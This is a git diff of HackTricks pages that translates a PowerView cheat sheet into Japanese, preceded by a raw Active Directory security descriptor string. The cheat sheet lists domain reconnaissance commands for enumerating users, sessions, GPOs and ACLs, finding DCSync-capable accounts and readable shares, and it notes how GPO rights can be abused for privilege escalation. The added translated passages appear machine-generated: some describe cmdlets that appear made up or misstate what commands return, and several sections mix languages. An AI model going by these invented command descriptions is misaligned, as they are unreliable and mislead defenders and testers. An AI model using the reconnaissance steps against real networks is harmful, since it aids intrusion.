ca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)" Owner : BUILTIN\Administrators Group : BUILTIN\Administrators DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT - AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions, - Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed - (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, - WriteExtendedAttributes)...} +AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions, +Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed +(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, +WriteExtendedAttributes)...} SystemAcl : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse), - BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users: - SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess - (Traverse)...} +BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users: +SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess +(Traverse)...} RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/windows-hardening/basic-powershell-for-pentesters/powerview.md b/windows-hardening/basic-powershell-for-pentesters/powerview.md index 63200113a..1888c18b3 100644 --- a/windows-hardening/basic-powershell-for-pentesters/powerview.md +++ b/windows-hardening/basic-powershell-for-pentesters/powerview.md @@ -4,20 +4,19 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するために、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -The most up-to-date version of PowerView will always be in the dev branch of PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) +PowerViewの最新バージョンは常にPowerSploitのdevブランチにあります:[https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) -[**SharpView**](https://github.com/tevora-threat/SharpView) is a .NET port of [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) - -### Quick enumeration +[**SharpView**](https://github.com/tevora-threat/SharpView)は[**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)の.NETポートです。 +### クイック列挙 ```powershell Get-NetDomain #Basic domain info #User info @@ -48,9 +47,24 @@ Invoke-UserHunter -CheckAccess #Find interesting ACLs Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl ``` +### ドメイン情報 -### Domain info +```powershell +Get-Domain +``` +このコマンドは、現在のドメインに関する情報を取得します。以下の情報が表示されます。 + +- ドメイン名 +- ドメインSID +- フォレスト名 +- ドメインコントローラーのリスト +- ドメインのユーザーアカウントのリスト +- ドメインのコンピューターアカウントのリスト +- ドメインのグループのリスト +- ドメインのGPO(グループポリシーオブジェクト)のリスト + +このコマンドは、ドメイン内の情報収集に役立ちます。 ```powershell # Domain Info Get-Domain #Get info about the current domain @@ -70,12 +84,54 @@ Get-DomainPolicyData # Same as Get-DomainPolicy Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller -# Get Forest info +# Get Forest info Get-ForestDomain ``` +### ユーザー、グループ、コンピューター、およびOU -### Users, Groups, Computers & OUs +PowerViewは、Active Directory(AD)環境でユーザー、グループ、コンピューター、および組織単位(OU)に関する情報を取得するための強力なツールです。 +#### ユーザーの情報を取得する + +PowerViewを使用して、AD内のユーザーに関する情報を取得できます。以下のコマンドを使用します。 + +```powershell +Get-NetUser +``` + +このコマンドは、ユーザーの名前、SID、認証情報、およびその他の関連情報を表示します。 + +#### グループの情報を取得する + +PowerViewを使用して、AD内のグループに関する情報を取得できます。以下のコマンドを使用します。 + +```powershell +Get-NetGroup +``` + +このコマンドは、グループの名前、SID、メンバー、およびその他の関連情報を表示します。 + +#### コンピューターの情報を取得する + +PowerViewを使用して、AD内のコンピューターに関する情報を取得できます。以下のコマンドを使用します。 + +```powershell +Get-NetComputer +``` + +このコマンドは、コンピューターの名前、SID、IPアドレス、およびその他の関連情報を表示します。 + +#### 組織単位(OU)の情報を取得する + +PowerViewを使用して、AD内の組織単位(OU)に関する情報を取得できます。以下のコマンドを使用します。 + +```powershell +Get-NetOU +``` + +このコマンドは、OUの名前、SID、親OU、およびその他の関連情報を表示します。 + +これらのコマンドを使用することで、AD環境内のユーザー、グループ、コンピューター、およびOUに関する情報を簡単に取得できます。 ```powershell # Users ## Get usernames and their groups @@ -103,7 +159,7 @@ Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodeleg Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren't marked as sensitive/not for delegation # retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync) Get-ObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? { - ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') +($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') } # Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy ## Users with this flag might have empty passwords (if allowed) or shorter passwords @@ -111,7 +167,7 @@ Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useracco #Groups Get-DomainGroup | where Name -like "*Admin*" | select SamAccountName -## Get-DomainGroup is similar to Get-NetGroup +## Get-DomainGroup is similar to Get-NetGroup Get-NetGroup #Get groups Get-NetGroup -Domain mydomain.local #Get groups of an specific domain Get-NetGroup 'Domain Admins' #Get all data of a group @@ -141,9 +197,31 @@ Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname - Get-NetOU #Get Organization Units Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case) ``` +### ログオンとセッション -### Logon and Sessions +PowerViewは、Windows環境でログオン情報とセッション情報を取得するための便利なツールです。 +#### ログオン情報の取得 + +PowerViewを使用して、ドメイン内のユーザーのログオン情報を取得することができます。以下のコマンドを使用します。 + +```powershell +Get-NetLoggedon +``` + +このコマンドは、ドメイン内のすべてのユーザーのログオン情報を表示します。ログオンしているユーザーのユーザー名、ドメイン名、およびログオンしているコンピューター名が表示されます。 + +#### セッション情報の取得 + +PowerViewを使用して、ドメイン内のセッション情報を取得することもできます。以下のコマンドを使用します。 + +```powershell +Get-NetSession +``` + +このコマンドは、ドメイン内のすべてのセッション情報を表示します。セッションのID、ユーザー名、コンピューター名、およびセッションの状態が表示されます。 + +これらのコマンドを使用することで、ログオンしているユーザーやセッションの情報を簡単に取得することができます。 ```powershell Get-NetLoggedon -ComputerName #Get net logon users at the moment in a computer (need admins rights on target) Get-NetSession -ComputerName #Get active sessions on the host @@ -151,12 +229,10 @@ Get-LoggedOnLocal -ComputerName #Get locally logon users at the mom Get-LastLoggedon -ComputerName #Get last user logged on (needs admin rigths in host) Get-NetRDPSession -ComputerName #List RDP sessions inside a host (needs admin rights in host) ``` +### グループポリシーオブジェクト - GPO -### Group Policy Object - GPOs - -If an attacker has **high privileges over a GPO** he could be able to **privesc** abusing it by **add permissions to a user**, **add a local admin user** to a host or **create a scheduled task** (immediate) to perform an action.\ -For [**more info about it and how to abuse it follow this link**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation). - +攻撃者が**GPOに対して高い特権を持っている**場合、それを悪用して**ユーザーに権限を追加**したり、ホストに**ローカル管理者ユーザーを追加**したり、(即時の)**スケジュールされたタスクを作成**してアクションを実行することができるかもしれません。\ +[**詳細情報とその悪用方法については、このリンクを参照してください**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation)。 ```powershell #GPO Get-DomainGPO | select displayName #Check the names for info @@ -190,15 +266,29 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType # Enumerates the machines where a specific domain user/group is a member of a specific local group. Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName ``` +ACL(アクセス制御リスト)は、オブジェクト(ファイル、フォルダ、レジストリキーなど)へのアクセスを制御するために使用されるセキュリティメカニズムです。ACLは、オブジェクトに対して許可または拒否のエントリを持つセキュリティ識別子(SID)のリストです。 -Learn how to **exploit permissions over GPOs and ACLs** in: +ACLの構造は次のようになっています: -{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %} -[acl-persistence-abuse](../active-directory-methodology/acl-persistence-abuse/) -{% endcontent-ref %} +- オブジェクトの種類(ファイル、フォルダ、レジストリキーなど)に応じて、異なるタイプのエントリが存在します。 +- エントリは、セキュリティ識別子(SID)とアクセス許可の組み合わせで構成されます。 +- エントリは、特定のユーザーまたはグループに対して許可または拒否のアクセスを提供します。 -### ACL +ACLの悪用により、攻撃者は特権の昇格、データの漏洩、システムの破壊などの悪影響をもたらすことができます。ACLの悪用には、次のような手法があります: +- ACLの変更:攻撃者は、オブジェクトのACLを変更して、自身に特権を与えることができます。 +- ACLのバイパス:攻撃者は、オブジェクトのACLをバイパスして、アクセス制限を回避することができます。 +- ACLの漏洩:攻撃者は、オブジェクトのACLを調査して、重要な情報を漏洩させることができます。 + +ACLの悪用は、Active Directory環境で特に重要です。攻撃者は、Active Directoryオブジェクト(ユーザーアカウント、グループ、コンピュータなど)のACLを悪用して、権限の昇格や権限の拡大を行うことができます。 + +ACLの悪用に対する防御策としては、次のような対策があります: + +- 最小特権の原則を適用する:ユーザーやグループには、必要な最低限の権限のみを与えるようにします。 +- セキュリティポリシーの適用:セキュリティポリシーを適用して、不正なアクセスを防止します。 +- 監査ログの有効化:オブジェクトへのアクセスを監査ログに記録することで、不正なアクセスを検知できます。 + +ACLの悪用に関する詳細な情報は、[こちらのリンク](../active-directory-methodology/acl-persistence-abuse/)を参照してください。 ```powershell #Get ACLs of an object (permissions of other objects over the indicated one) Get-ObjectAcl -SamAccountName -ResolveGUIDs @@ -214,22 +304,106 @@ Get-PathAcl -Path "\\dc.mydomain.local\sysvol" Find-InterestingDomainAcl -ResolveGUIDs #Check if any of the interesting permissions founds is realated to a username/group -Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"} +Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"} #Get special rights over All administrators in domain Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights ``` +### 共有ファイルとフォルダ -### Shared files and folders +PowerView provides several commands to enumerate shared files and folders on a target system. These commands can be useful for gathering information about the file and folder permissions, as well as identifying potential vulnerabilities. +#### Get-NetShare + +The `Get-NetShare` command allows you to retrieve a list of shared folders on the target system. This can be useful for identifying sensitive files or folders that may be accessible to unauthorized users. + +```powershell +Get-NetShare +``` + +#### Get-NetFileServer + +The `Get-NetFileServer` command provides information about file servers on the target system. This includes details such as the server name, domain, and operating system version. + +```powershell +Get-NetFileServer +``` + +#### Get-NetFileShare + +The `Get-NetFileShare` command retrieves information about file shares on the target system. This includes details such as the share name, path, and permissions. + +```powershell +Get-NetFileShare +``` + +#### Get-NetFileSharePermission + +The `Get-NetFileSharePermission` command allows you to view the permissions associated with a specific file share on the target system. + +```powershell +Get-NetFileSharePermission -ShareName "ShareName" +``` + +By using these PowerView commands, you can effectively enumerate shared files and folders on a target system, gaining valuable insights into potential security weaknesses. ```powershell Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers Find-DomainShare -CheckShareAccess #Search readable shares Find-InterestingDomainShareFile #Find interesting files, can use filters ``` +### ドメイン信頼 -### Domain Trust +Domain trust refers to the relationship established between two domains in a Windows Active Directory environment. It allows users from one domain to access resources in another domain. Trust relationships can be one-way or two-way, and they can be transitive or non-transitive. +ドメイン信頼とは、Windows Active Directory環境において2つのドメイン間で確立される関係を指します。これにより、1つのドメインのユーザーが他のドメインのリソースにアクセスすることができます。信頼関係は片方向または双方向であり、推移的または非推移的であることがあります。 + +#### Types of Trust Relationships + +#### 信頼関係の種類 + +There are several types of trust relationships that can be established between domains: + +ドメイン間で確立できる信頼関係には、いくつかの種類があります。 + +- One-way trust: In this type of trust, Domain A trusts Domain B, but Domain B does not trust Domain A. This means that users in Domain A can access resources in Domain B, but users in Domain B cannot access resources in Domain A. + +- 片方向信頼: このタイプの信頼関係では、ドメインAはドメインBを信頼しますが、ドメインBはドメインAを信頼しません。つまり、ドメインAのユーザーはドメインBのリソースにアクセスできますが、ドメインBのユーザーはドメインAのリソースにアクセスできません。 + +- Two-way trust: In this type of trust, both Domain A and Domain B trust each other. This means that users in both domains can access resources in the other domain. + +- 双方向信頼: このタイプの信頼関係では、ドメインAとドメインBの両方がお互いを信頼します。つまり、両方のドメインのユーザーは他のドメインのリソースにアクセスできます。 + +- Transitive trust: In a transitive trust relationship, if Domain A trusts Domain B and Domain B trusts Domain C, then Domain A also trusts Domain C. This allows users in Domain A to access resources in Domain C. + +- 推移的信頼: 推移的信頼関係では、ドメインAがドメインBを信頼し、ドメインBがドメインCを信頼する場合、ドメインAはドメインCも信頼します。これにより、ドメインAのユーザーはドメインCのリソースにアクセスできます。 + +- Non-transitive trust: In a non-transitive trust relationship, trust is limited to the directly trusted domains only. For example, if Domain A trusts Domain B and Domain B trusts Domain C, Domain A does not automatically trust Domain C. + +- 非推移的信頼: 非推移的信頼関係では、信頼は直接信頼されたドメインに限定されます。例えば、ドメインAがドメインBを信頼し、ドメインBがドメインCを信頼する場合、ドメインAは自動的にドメインCを信頼しません。 + +#### Trust Enumeration with PowerView + +#### PowerViewによる信頼関係の列挙 + +PowerView is a PowerShell tool that can be used to enumerate and manipulate domain trust relationships. It provides several functions that can be used to gather information about trust relationships in a Windows Active Directory environment. + +PowerViewは、ドメイン信頼関係を列挙および操作するために使用できるPowerShellツールです。Windows Active Directory環境における信頼関係に関する情報を収集するために使用できるいくつかの関数を提供しています。 + +To enumerate trust relationships using PowerView, you can use the `Get-NetDomainTrust` function. This function retrieves information about the trust relationships for the current domain or for a specified domain. + +PowerViewを使用して信頼関係を列挙するには、`Get-NetDomainTrust`関数を使用します。この関数は、現在のドメインまたは指定したドメインの信頼関係に関する情報を取得します。 + +For example, to enumerate trust relationships for the current domain, you can run the following command: + +例えば、現在のドメインの信頼関係を列挙するには、次のコマンドを実行します。 + +```plaintext 